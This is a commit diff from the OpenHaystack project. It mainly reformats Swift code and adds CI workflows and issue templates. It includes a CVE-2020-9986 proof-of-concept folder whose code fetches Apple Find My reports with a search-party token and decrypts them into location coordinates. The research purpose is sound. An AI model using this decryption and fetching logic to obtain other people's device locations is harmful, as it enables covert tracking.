Updating UUIDs for macOS 11.6

This is clearly a SwiftUI bug and it has been reported with FB9092071

.github/ISSUE_TEMPLATE/bug_report.md

@@ -0,0 +1,33 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: bug
+assignees: ''
+
+---
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**To Reproduce**
+Steps to reproduce the behavior:
+1. Go to '...'
+2. Click on '....'
+3. Scroll down to '....'
+4. See error
+
+**Expected behavior**
+A clear and concise description of what you expected to happen.
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.
+
+**OpenHaystack version:**
+[e.g. 0.3.4] (copy from _OpenHaystack → About OpenHaystack_)
+
+**macOS version:**
+[e.g. 11.3]
+
+**Additional context**
+Add any other context about the problem here.

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,20 @@
+---
+name: Feature request
+about: Suggest an idea for this project
+title: ''
+labels: enhancement
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+A clear and concise description of what you want to happen.
+
+**Describe alternatives you've considered**
+A clear and concise description of any alternative solutions or features you've considered.
+
+**Additional context**
+Add any other context or screenshots about the feature request here.

.github/ISSUE_TEMPLATE/general-question.md

@@ -0,0 +1,10 @@
+---
+name: General question
+about: Ask a question
+title: ''
+labels: question
+assignees: ''
+
+---
+
+

.github/actions/build-esp-idf/action.yaml

@@ -0,0 +1,38 @@
+name: 'Build Firmware with ESP-IDF'
+description: 'Builds a firmware for the ESP32 using the ESP-IDF'
+inputs:
+  src-dir:
+    description: 'Source directory for the ESP-IDF project'
+    required: true
+  out-dir:
+    description: 'Directory to which bin files will be written'
+    required: true
+  app-name:
+    description: 'Name of the IDF application/main binary'
+    required: true
+runs:
+  using: "composite"
+  steps:
+    - name: Prepare ESP-IDF
+      shell: bash
+      run: |
+        sudo apt update
+        sudo apt install git wget flex bison gperf python3 python3-pip python3-setuptools cmake ninja-build ccache libffi-dev libssl-dev dfu-util libusb-1.0-0
+        mkdir -p /opt/esp
+        cd /opt/esp
+        git clone --recursive --depth 1 --branch v4.2 https://github.com/espressif/esp-idf.git
+        cd /opt/esp/esp-idf
+        ./install.sh
+    - name: Build firmware
+      shell: bash
+      run: |
+        source /opt/esp/esp-idf/export.sh
+        cd ${{ inputs.src-dir }}
+        idf.py build
+    - name: Bundle output files
+      shell: bash
+      run: |
+        mkdir -p "${{ inputs.out-dir }}/bootloader" "${{ inputs.out-dir }}/partition_table"
+        cp "${{ inputs.src-dir }}/build/bootloader/bootloader.bin" "${{ inputs.out-dir }}/bootloader/bootloader.bin"
+        cp "${{ inputs.src-dir }}/build/partition_table/partition-table.bin" "${{ inputs.out-dir }}/partition_table/partition-table.bin"
+        cp "${{ inputs.src-dir }}/build/${{ inputs.app-name }}.bin" "${{ inputs.out-dir }}/${{ inputs.app-name }}.bin"

.github/workflows/build-app.yml

@@ -3,27 +3,45 @@ name: "Build application"
 on:
   push:
     branches: [ main ]
+    paths:
+      - OpenHaystack/**   
   pull_request:
     branches: [ main ]
+    paths:
+      - OpenHaystack/**
+
+env:
+  APP: OpenHaystack
+defaults:
+  run:
+    working-directory: OpenHaystack
 
 jobs:
-  lint-swiftlint:
+  format-swift:
+    runs-on: macos-11
+    steps:
+      - name: "Checkout code"
+        uses: actions/checkout@v2
+      - name: "Install swift-format"
+        run: brew install swift-format
+      - name: "Run swift-format"
+        run: swift-format --recursive --mode lint .
+
+  format-objc:
     runs-on: macos-latest
     steps:
       - name: "Checkout code"
         uses: actions/checkout@v2
-      - name: "Run SwiftLint"
-        run: swiftlint --reporter github-actions-logging
+      - name: "Install clang-format"
+        run: brew install clang-format
+      - name: "Run clang-format"
+        run: clang-format -n **/*.{h,m}
 
   build-app:
     runs-on: macos-latest
-    needs: lint-swiftlint
-    env:
-      APP: OpenHaystack
-      PROJECT_DIR: OpenHaystack
-    defaults:
-      run:
-        working-directory: ${{ env.PROJECT_DIR }}
+    needs:
+      - format-swift
+      - format-objc
     steps:
       - name: "Checkout code"
         uses: actions/checkout@v2

.github/workflows/build-cve-2020-9986.yaml

@@ -3,12 +3,20 @@ name: "Build CVE-2020-9986"
 on:
   push:
     branches: [ main ]
+    paths:
+      - CVE-2020-9986/**
   pull_request:
     branches: [ main ]
+    paths:
+      - CVE-2020-9986/**
+
+defaults:
+  run:
+    working-directory: CVE-2020-9986/OFReadKeys
 
 jobs:
   lint-swiftlint:
-    runs-on: macos-latest
+    runs-on: macos-11
     steps:
       - name: "Checkout code"
         uses: actions/checkout@v2
@@ -20,10 +28,6 @@ jobs:
     needs: lint-swiftlint
     env:
       APP: OFReadKeys
-      PROJECT_DIR: CVE-2020-9986/OFReadKeys
-    defaults:
-      run:
-        working-directory: ${{ env.PROJECT_DIR }}
     steps:
       - name: "Checkout code"
         uses: actions/checkout@v2
@@ -39,10 +43,6 @@ jobs:
     needs: lint-swiftlint
     env:
       APP: OFFetchReports
-      PROJECT_DIR: CVE-2020-9986/OFReadKeys
-    defaults:
-      run:
-        working-directory: ${{ env.PROJECT_DIR }}
     steps:
       - name: "Checkout code"
         uses: actions/checkout@v2

.github/workflows/build-firmware-esp32.yaml

@@ -0,0 +1,28 @@
+name: "Build firmware (ESP32)"
+
+on:
+  push:
+    branches: [ main ]
+    paths:
+      - Firmware/ESP32/**
+  pull_request:
+    branches: [ main ]
+    paths:
+      - Firmware/ESP32/**
+
+jobs:
+  build-firmware-esp32:
+    runs-on: ubuntu-latest
+    steps:
+      - name: "Checkout code"
+        uses: actions/checkout@v2
+      - name: "Copy static files"
+        run: |
+          mkdir -p archive/build
+          cp Firmware/ESP32/flash_esp32.sh archive/
+      - name: "Build ESP32 firmware"
+        uses: ./.github/actions/build-esp-idf
+        with:
+          src-dir: Firmware/ESP32
+          out-dir: archive/build
+          app-name: openhaystack

.github/workflows/build-firmware.yaml

@@ -4,19 +4,19 @@ on:
   push:
     branches: [ main ]
     paths:
-      - Firmware/**
+      - Firmware/Microbit_v1/**
   pull_request:
     branches: [ main ]
     paths:
-      - Firmware/**
+      - Firmware/Microbit_v1/**
 
 defaults:
   run:
-    working-directory: Firmware
+    working-directory: Firmware/Microbit_v1
 
 jobs:
   build-firmware:
-    runs-on: macos-latest
+    runs-on: macos-11
     steps:
       - uses: actions/checkout@v2
 

.github/workflows/release.yml

@@ -6,15 +6,39 @@ on:
       - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
 
 jobs:
+  build-firmware-esp32:
+    runs-on: ubuntu-latest
+    steps:
+      - name: "Checkout code"
+        uses: actions/checkout@v2
+      - name: "Copy static files"
+        run: |
+          mkdir -p archive/build
+          cp Firmware/ESP32/flash_esp32.sh archive/
+      - name: "Build ESP32 firmware"
+        uses: ./.github/actions/build-esp-idf
+        with:
+          src-dir: Firmware/ESP32
+          out-dir: archive/build
+          app-name: openhaystack
+      - name: "Create archive"
+        uses: actions/upload-artifact@v2
+        with:
+          name: firmware-esp32
+          path: archive/*
+          retention-days: 1
+
   build-and-release:
     name: "Create release on GitHub"
-    runs-on: macos-latest
+    runs-on: macos-11
     env:
       APP: OpenHaystack
       PROJECT_DIR: OpenHaystack
     defaults:
       run:
         working-directory: ${{ env.PROJECT_DIR }}
+    needs:
+      - build-firmware-esp32
     steps:
       - name: Checkout code
         uses: actions/checkout@v2
@@ -22,6 +46,11 @@ jobs:
         uses: devbotsxyz/xcode-select@v1
         with:
           version: "12"
+      - name: "Add ESP32 firmware"
+        uses: actions/download-artifact@v2
+        with:
+          name: firmware-esp32
+          path: "${{ env.PROJECT_DIR }}/OpenHaystack/HaystackApp/Firmwares/ESP32"
       - name: "Archive project"
         run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive
       - name: "Create ZIP"

.gitmodules

@@ -1,3 +1,3 @@
-[submodule "Firmware/blessed"]
-	path = Firmware/blessed
+[submodule "Firmware/Microbit_v1/blessed"]
+	path = Firmware/Microbit_v1/blessed
 	url = https://github.com/pauloborges/blessed.git

.pre-commit

@@ -0,0 +1 @@
+make app-autoformat

CVE-2020-9986/OFReadKeys/OFFetchReports/AppDelegate.swift

@@ -1,9 +1,10 @@
 //
-//  AppDelegate.swift
-//  OFFetchReports
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
-//  Created by Alex - SEEMOO on 04.03.21.
-//  Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
 //
 
 import Cocoa
@@ -12,30 +13,30 @@ import SwiftUI
 @main
 class AppDelegate: NSObject, NSApplicationDelegate {
 
-    var window: NSWindow!
+  var window: NSWindow!
 
-    func applicationDidFinishLaunching(_ aNotification: Notification) {
-        // Create the SwiftUI view that provides the window contents.
-        let contentView = OFFetchReportsMainView()
+  func applicationDidFinishLaunching(_ aNotification: Notification) {
+    // Create the SwiftUI view that provides the window contents.
+    let contentView = OFFetchReportsMainView()
 
-        // Create the window and set the content view.
-        window = NSWindow(
-            contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
-            styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
-            backing: .buffered, defer: false)
-        window.isReleasedWhenClosed = false
-        window.center()
-        window.setFrameAutosaveName("Main Window")
-        window.contentView = NSHostingView(rootView: contentView)
-        window.makeKeyAndOrderFront(nil)
-    }
+    // Create the window and set the content view.
+    window = NSWindow(
+      contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
+      styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
+      backing: .buffered, defer: false)
+    window.isReleasedWhenClosed = false
+    window.center()
+    window.setFrameAutosaveName("Main Window")
+    window.contentView = NSHostingView(rootView: contentView)
+    window.makeKeyAndOrderFront(nil)
+  }
 
-    func applicationWillTerminate(_ aNotification: Notification) {
-        // Insert code here to tear down your application
-    }
+  func applicationWillTerminate(_ aNotification: Notification) {
+    // Insert code here to tear down your application
+  }
 
-    func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
-        return true
-    }
+  func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
+    return true
+  }
 
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/BoringSSL/BoringSSL.h

@@ -1,9 +1,11 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 #import <Foundation/Foundation.h>
 

CVE-2020-9986/OFReadKeys/OFFetchReports/BoringSSL/BoringSSL.m

@@ -1,9 +1,11 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 #import "BoringSSL.h"
 

CVE-2020-9986/OFReadKeys/OFFetchReports/ContentView.swift

@@ -1,22 +1,23 @@
 //
-//  ContentView.swift
-//  OFFetchReports
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
-//  Created by Alex - SEEMOO on 04.03.21.
-//  Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
 //
 
 import SwiftUI
 
 struct ContentView: View {
-    var body: some View {
-        Text("Hello, World!")
-            .frame(maxWidth: .infinity, maxHeight: .infinity)
-    }
+  var body: some View {
+    Text("Hello, World!")
+      .frame(maxWidth: .infinity, maxHeight: .infinity)
+  }
 }
 
 struct ContentView_Previews: PreviewProvider {
-    static var previews: some View {
-        ContentView()
-    }
+  static var previews: some View {
+    ContentView()
+  }
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/DecryptReports.swift

@@ -1,97 +1,106 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import Foundation
 import CryptoKit
+import Foundation
 
 struct DecryptReports {
 
-    /// Decrypt a find my report with the according key
-    /// - Parameters:
-    ///   - report: An encrypted FindMy Report
-    ///   - key: A FindMyKey
-    /// - Throws: Errors if the decryption fails
-    /// - Returns: An decrypted location report
-    static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
-        let payloadData = report.payload
-        let keyData = key.privateKey
+  /// Decrypt a find my report with the according key
+  /// - Parameters:
+  ///   - report: An encrypted FindMy Report
+  ///   - key: A FindMyKey
+  /// - Throws: Errors if the decryption fails
+  /// - Returns: An decrypted location report
+  static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
+    let payloadData = report.payload
+    let keyData = key.privateKey
 
-        let privateKey = keyData
-        let ephemeralKey = payloadData.subdata(in: 5..<62)
+    let privateKey = keyData
+    let ephemeralKey = payloadData.subdata(in: 5..<62)
 
-        guard let sharedKey = BoringSSL.deriveSharedKey(
-                fromPrivateKey: privateKey,
-                andEphemeralKey: ephemeralKey) else {
-            throw FindMyError.decryptionError(description: "Failed generating shared key")
-        }
-
-        let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
-
-        print("Derived key \(derivedKey.base64EncodedString())")
-
-        let encData = payloadData.subdata(in: 62..<72)
-        let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
-
-        let decryptedContent = try self.decryptPayload(payload: encData, symmetricKey: derivedKey, tag: tag)
-        let locationReport = self.decode(content: decryptedContent, report: report)
-        print(locationReport)
-        return locationReport
+    guard
+      let sharedKey = BoringSSL.deriveSharedKey(
+        fromPrivateKey: privateKey,
+        andEphemeralKey: ephemeralKey)
+    else {
+      throw FindMyError.decryptionError(description: "Failed generating shared key")
     }
 
-    /// Decrypt the payload
-    /// - Parameters:
-    ///   - payload: Encrypted payload part
-    ///   - symmetricKey: Symmetric key
-    ///   - tag: AES GCM tag
-    /// - Throws: AES GCM error
-    /// - Returns: Decrypted error
-    static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
-        let decryptionKey = symmetricKey.subdata(in: 0..<16)
-        let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
+    let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
 
-        print("Decryption Key \(decryptionKey.base64EncodedString())")
-        print("IV \(iv.base64EncodedString())")
+    print("Derived key \(derivedKey.base64EncodedString())")
 
-        let sealedBox = try AES.GCM.SealedBox(nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
-        let symKey = SymmetricKey(data: decryptionKey)
-        let decrypted = try AES.GCM.open(sealedBox, using: symKey)
+    let encData = payloadData.subdata(in: 62..<72)
+    let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
 
-        return decrypted
-    }
+    let decryptedContent = try self.decryptPayload(
+      payload: encData, symmetricKey: derivedKey, tag: tag)
+    let locationReport = self.decode(content: decryptedContent, report: report)
+    print(locationReport)
+    return locationReport
+  }
 
-    static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
-        var longitude: Int32 = 0
-        _ = withUnsafeMutableBytes(of: &longitude, {content.subdata(in: 4..<8).copyBytes(to: $0)})
-        longitude = Int32(bigEndian: longitude)
+  /// Decrypt the payload
+  /// - Parameters:
+  ///   - payload: Encrypted payload part
+  ///   - symmetricKey: Symmetric key
+  ///   - tag: AES GCM tag
+  /// - Throws: AES GCM error
+  /// - Returns: Decrypted error
+  static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
+    let decryptionKey = symmetricKey.subdata(in: 0..<16)
+    let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
 
-        var latitude: Int32 = 0
-        _ = withUnsafeMutableBytes(of: &latitude, {content.subdata(in: 0..<4).copyBytes(to: $0)})
-        latitude = Int32(bigEndian: latitude)
+    print("Decryption Key \(decryptionKey.base64EncodedString())")
+    print("IV \(iv.base64EncodedString())")
 
-        var accuracy: UInt8 = 0
-        _ = withUnsafeMutableBytes(of: &accuracy, {content.subdata(in: 8..<9).copyBytes(to: $0)})
+    let sealedBox = try AES.GCM.SealedBox(
+      nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
+    let symKey = SymmetricKey(data: decryptionKey)
+    let decrypted = try AES.GCM.open(sealedBox, using: symKey)
 
-        let latitudeDec = Double(latitude)/10000000.0
-        let longitudeDec = Double(longitude)/10000000.0
+    return decrypted
+  }
 
-        return FindMyLocationReport(lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished, t: report.timestamp, c: report.confidence)
-    }
+  static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
+    var longitude: Int32 = 0
+    _ = withUnsafeMutableBytes(of: &longitude, { content.subdata(in: 4..<8).copyBytes(to: $0) })
+    longitude = Int32(bigEndian: longitude)
 
-    static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
+    var latitude: Int32 = 0
+    _ = withUnsafeMutableBytes(of: &latitude, { content.subdata(in: 0..<4).copyBytes(to: $0) })
+    latitude = Int32(bigEndian: latitude)
 
-        var shaDigest = SHA256()
-        shaDigest.update(data: secret)
-        var counter: Int32 = 1
-        let counterData = Data(Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
-        shaDigest.update(data: counterData)
-        shaDigest.update(data: ephKey)
+    var accuracy: UInt8 = 0
+    _ = withUnsafeMutableBytes(of: &accuracy, { content.subdata(in: 8..<9).copyBytes(to: $0) })
 
-        let derivedKey = shaDigest.finalize()
+    let latitudeDec = Double(latitude) / 10000000.0
+    let longitudeDec = Double(longitude) / 10000000.0
 
-        return Data(derivedKey)
-    }
+    return FindMyLocationReport(
+      lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished,
+      t: report.timestamp, c: report.confidence)
+  }
+
+  static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
+
+    var shaDigest = SHA256()
+    shaDigest.update(data: secret)
+    var counter: Int32 = 1
+    let counterData = Data(
+      Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
+    shaDigest.update(data: counterData)
+    shaDigest.update(data: ephKey)
+
+    let derivedKey = shaDigest.finalize()
+
+    return Data(derivedKey)
+  }
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/FindMyController.swift

@@ -1,222 +1,238 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
+import Combine
 import Foundation
 import SwiftUI
-import Combine
 
 class FindMyController: ObservableObject {
-    static let shared = FindMyController()
+  static let shared = FindMyController()
 
-    @Published var error: Error?
-    @Published var devices = [FindMyDevice]()
+  @Published var error: Error?
+  @Published var devices = [FindMyDevice]()
 
-    func loadPrivateKeys(from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
+  func loadPrivateKeys(
+    from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void
+  ) {
+    do {
+      let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
+
+      self.devices.append(contentsOf: devices)
+      self.fetchReports(with: searchPartyToken, completion: completion)
+    } catch {
+      self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
+    }
+  }
+
+  func importReports(reports: [FindMyReport], and keys: Data, completion: @escaping () -> Void)
+    throws
+  {
+    var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
+
+    // Decrypt the reports with the imported keys
+    DispatchQueue.global(qos: .background).async {
+      // Add the reports to the according device by finding the right key for the report
+      for report in reports {
+
+        guard
+          let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
+            device.keys.contains { (key) -> Bool in
+              key.hashedKey.base64EncodedString() == report.id
+            }
+          })
+        else {
+          print("No device found for id")
+          continue
+        }
+        if var reports = devices[deviceIndex].reports {
+          reports.append(report)
+          devices[deviceIndex].reports = reports
+        } else {
+          devices[deviceIndex].reports = [report]
+        }
+      }
+      self.devices = devices
+
+      // Decrypt the reports
+      self.decryptReports {
+        self.exportDevices()
+        DispatchQueue.main.async {
+          completion()
+        }
+      }
+
+    }
+  }
+
+  func importDevices(devices: Data) throws {
+    var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
+
+    // Delete the decrypted reports
+    for idx in devices.startIndex..<devices.endIndex {
+      devices[idx].decryptedReports = nil
+    }
+
+    self.devices = devices
+
+    // Decrypt reports again with additional information
+    self.decryptReports {
+
+    }
+  }
+
+  func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
+
+    DispatchQueue.global(qos: .background).async {
+      let fetchReportGroup = DispatchGroup()
+
+      let fetcher = ReportsFetcher()
+
+      var devices = self.devices
+      for deviceIndex in 0..<devices.count {
+        fetchReportGroup.enter()
+        devices[deviceIndex].reports = []
+
+        // Only use the newest keys for testing
+        let keys = devices[deviceIndex].keys
+
+        let keyHashes = keys.map({ $0.hashedKey.base64EncodedString() })
+
+        // 21 days
+        let duration: Double = (24 * 60 * 60) * 21
+        let startDate = Date() - duration
+
+        fetcher.query(
+          forHashes: keyHashes,
+          start: startDate,
+          duration: duration,
+          searchPartyToken: searchPartyToken
+        ) { jd in
+          guard let jsonData = jd else {
+            fetchReportGroup.leave()
+            return
+          }
+
+          do {
+            // Decode the report
+            let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
+            devices[deviceIndex].reports = report.results
+
+          } catch {
+            print("Failed with error \(error)")
+            devices[deviceIndex].reports = []
+          }
+          fetchReportGroup.leave()
+        }
+
+      }
+
+      // Completion Handler
+      fetchReportGroup.notify(queue: .main) {
+        print("Finished loading the reports. Now decrypt them")
+
+        // Export the reports to the desktop
+        var reports = [FindMyReport]()
+        for device in devices {
+          for report in device.reports! {
+            reports.append(report)
+          }
+        }
+
+        #if EXPORT
+          if let encoded = try? JSONEncoder().encode(reports) {
+            let outputDirectory = FileManager.default.urls(
+              for: .desktopDirectory, in: .userDomainMask
+            ).first!
+            try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
+          }
+        #endif
+
+        DispatchQueue.main.async {
+          self.devices = devices
+
+          self.decryptReports {
+            completion(nil)
+          }
+
+        }
+      }
+    }
+
+  }
+
+  func decryptReports(completion: () -> Void) {
+    print("Decrypting reports")
+
+    // Iterate over all devices
+    for deviceIdx in 0..<devices.count {
+      devices[deviceIdx].decryptedReports = []
+      let device = devices[deviceIdx]
+
+      // Map the keys in a dictionary for faster access
+      guard let reports = device.reports else { continue }
+      let keyMap = device.keys.reduce(
+        into: [String: FindMyKey](), { $0[$1.hashedKey.base64EncodedString()] = $1 })
+
+      let accessQueue = DispatchQueue(
+        label: "threadSafeAccess",
+        qos: .userInitiated,
+        attributes: .concurrent,
+        autoreleaseFrequency: .workItem, target: nil)
+      var decryptedReports = [FindMyLocationReport](
+        repeating:
+          FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
+        count: reports.count)
+      DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
+        let report = reports[reportIdx]
+        guard let key = keyMap[report.id] else { return }
         do {
-            let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
-
-            self.devices.append(contentsOf: devices)
-            self.fetchReports(with: searchPartyToken, completion: completion)
+          // Decrypt the report
+          let locationReport = try DecryptReports.decrypt(report: report, with: key)
+          accessQueue.async(flags: .barrier) {
+            decryptedReports[reportIdx] = locationReport
+          }
         } catch {
-            self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
+          return
         }
+      }
+
+      accessQueue.sync {
+        devices[deviceIdx].decryptedReports = decryptedReports
+      }
     }
 
-    func importReports(reports: [FindMyReport], and keys: Data, completion:@escaping () -> Void) throws {
-        var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
+    completion()
 
-        // Decrypt the reports with the imported keys
-        DispatchQueue.global(qos: .background).async {
-            // Add the reports to the according device by finding the right key for the report
-            for report in reports {
+  }
 
-                guard let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
-                    device.keys.contains { (key) -> Bool in
-                        key.hashedKey.base64EncodedString() == report.id
-                    }
-                }) else {
-                    print("No device found for id")
-                    continue
-                }
-                if var reports = devices[deviceIndex].reports {
-                    reports.append(report)
-                    devices[deviceIndex].reports = reports
-                } else {
-                    devices[deviceIndex].reports = [report]
-                }
-            }
-            self.devices = devices
+  func exportDevices() {
 
-            // Decrypt the reports
-            self.decryptReports {
-                self.exportDevices()
-                DispatchQueue.main.async {
-                    completion()
-                }
-            }
-
-        }
-    }
-
-    func importDevices(devices: Data) throws {
-        var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
-
-        // Delete the decrypted reports
-        for idx in devices.startIndex..<devices.endIndex {
-            devices[idx].decryptedReports = nil
-        }
-
-        self.devices = devices
-
-        // Decrypt reports again with additional information 
-        self.decryptReports {
-
-        }
-    }
-
-    func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
-
-        DispatchQueue.global(qos: .background).async {
-            let fetchReportGroup = DispatchGroup()
-
-            let fetcher = ReportsFetcher()
-
-            var devices = self.devices
-            for deviceIndex in 0..<devices.count {
-                fetchReportGroup.enter()
-                devices[deviceIndex].reports = []
-
-                // Only use the newest keys for testing
-                let keys = devices[deviceIndex].keys
-
-                let keyHashes = keys.map({$0.hashedKey.base64EncodedString()})
-
-                // 21 days
-                let duration: Double =  (24 * 60 * 60) * 21
-                let startDate = Date() - duration
-
-                fetcher.query(forHashes: keyHashes,
-                              start: startDate,
-                              duration: duration,
-                              searchPartyToken: searchPartyToken) { jd in
-                    guard let jsonData = jd else {
-                        fetchReportGroup.leave()
-                        return
-                    }
-
-                    do {
-                        // Decode the report
-                        let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
-                        devices[deviceIndex].reports = report.results
-
-                    } catch {
-                        print("Failed with error \(error)")
-                        devices[deviceIndex].reports = []
-                    }
-                    fetchReportGroup.leave()
-                }
-
-            }
-
-            // Completion Handler
-            fetchReportGroup.notify(queue: .main) {
-                print("Finished loading the reports. Now decrypt them")
-
-                // Export the reports to the desktop
-                var reports = [FindMyReport]()
-                for device in devices {
-                    for report in device.reports! {
-                        reports.append(report)
-                    }
-                }
-
-                #if EXPORT
-                if let encoded = try? JSONEncoder().encode(reports) {
-                    let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
-                    try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
-                }
-                #endif
-
-                DispatchQueue.main.async {
-                    self.devices = devices
-
-                    self.decryptReports {
-                        completion(nil)
-                    }
-
-                }
-            }
-        }
-
-    }
-
-    func decryptReports(completion: () -> Void) {
-        print("Decrypting reports")
-
-        // Iterate over all devices
-        for deviceIdx in 0..<devices.count {
-            devices[deviceIdx].decryptedReports = []
-            let device = devices[deviceIdx]
-
-            // Map the keys in a dictionary for faster access
-            guard let reports = device.reports else {continue}
-            let keyMap = device.keys.reduce(into: [String: FindMyKey](), {$0[$1.hashedKey.base64EncodedString()] = $1})
-
-            let accessQueue = DispatchQueue(label: "threadSafeAccess",
-                                            qos: .userInitiated,
-                                            attributes: .concurrent,
-                                            autoreleaseFrequency: .workItem, target: nil)
-            var decryptedReports = [FindMyLocationReport](repeating:
-                FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
-                count: reports.count)
-            DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
-                let report = reports[reportIdx]
-                guard let key = keyMap[report.id] else {return}
-                do {
-                    // Decrypt the report
-                    let locationReport = try DecryptReports.decrypt(report: report, with: key)
-                    accessQueue.async(flags: .barrier) {
-                        decryptedReports[reportIdx] = locationReport
-                    }
-                } catch {
-                    return
-                }
-            }
-
-            accessQueue.sync {
-                devices[deviceIdx].decryptedReports = decryptedReports
-            }
-        }
-
-        completion()
-
-    }
-
-    func exportDevices() {
-
-        if let encoded = try? PropertyListEncoder().encode(self.devices) {
-            let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
-            try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
-        }
+    if let encoded = try? PropertyListEncoder().encode(self.devices) {
+      let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask)
+        .first!
+      try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
     }
+  }
 
 }
 
 struct FindMyControllerKey: EnvironmentKey {
-    static var defaultValue: FindMyController = .shared
+  static var defaultValue: FindMyController = .shared
 }
 
 extension EnvironmentValues {
-    var findMyController: FindMyController {
-        get {self[FindMyControllerKey.self]}
-        set {self[FindMyControllerKey.self] = newValue}
-    }
+  var findMyController: FindMyController {
+    get { self[FindMyControllerKey.self] }
+    set { self[FindMyControllerKey.self] = newValue }
+  }
 }
 
 enum FindMyErrors: Error {
-    case decodingPlistFailed(message: String)
+  case decodingPlistFailed(message: String)
 }

